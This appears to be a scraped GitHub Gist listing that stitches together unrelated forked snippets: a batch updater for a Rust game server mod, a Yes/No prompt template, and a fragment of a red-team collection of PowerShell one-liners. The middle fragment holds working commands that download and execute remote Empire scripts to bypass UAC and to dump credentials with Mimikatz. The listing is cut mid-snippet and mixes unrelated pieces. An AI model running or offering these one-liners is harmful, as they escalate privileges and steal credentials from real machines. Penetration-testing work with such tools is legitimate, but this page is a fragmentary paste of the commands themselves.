Skip to content

Instantly share code, notes, and snippets.

@Himel-Sarkar
Himel-Sarkar / updater.bat
Created May 16, 2021 04:32 — forked from guillaC/updater.bat
update uMod mod for the game Rust
@echo off
SET URL=https://umod.org/games/rust/download
SET FILE="./%RANDOM%.zip"
SET FOLDERPATH="C:\Users\Guillaume\Desktop\RustServer\common\rust_dedicated\data\Managed"
ECHO Downloading from %URL%
powershell.exe -c "(New-Object Net.WebClient).DownloadFile('%URL%','%FILE%')"
ECHO Done.
ECHO Extract to current folder
powershell.exe -c "Expand-Archive -Force '%FILE%' ./"
ECHO Done.
# Description:
# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands
@Himel-Sarkar
Himel-Sarkar / choice.bat
Created August 27, 2020 10:26 — forked from jcefoli/choice.bat
Template for Yes/No Choice input in batch files
@ECHO OFF
:start
SET choice=
SET /p choice=Do something? [N]:
IF NOT '%choice%'=='' SET choice=%choice:~0,1%
IF '%choice%'=='Y' GOTO yes
IF '%choice%'=='y' GOTO yes
IF '%choice%'=='N' GOTO no
IF '%choice%'=='n' GOTO no
IF '%choice%'=='' GOTO no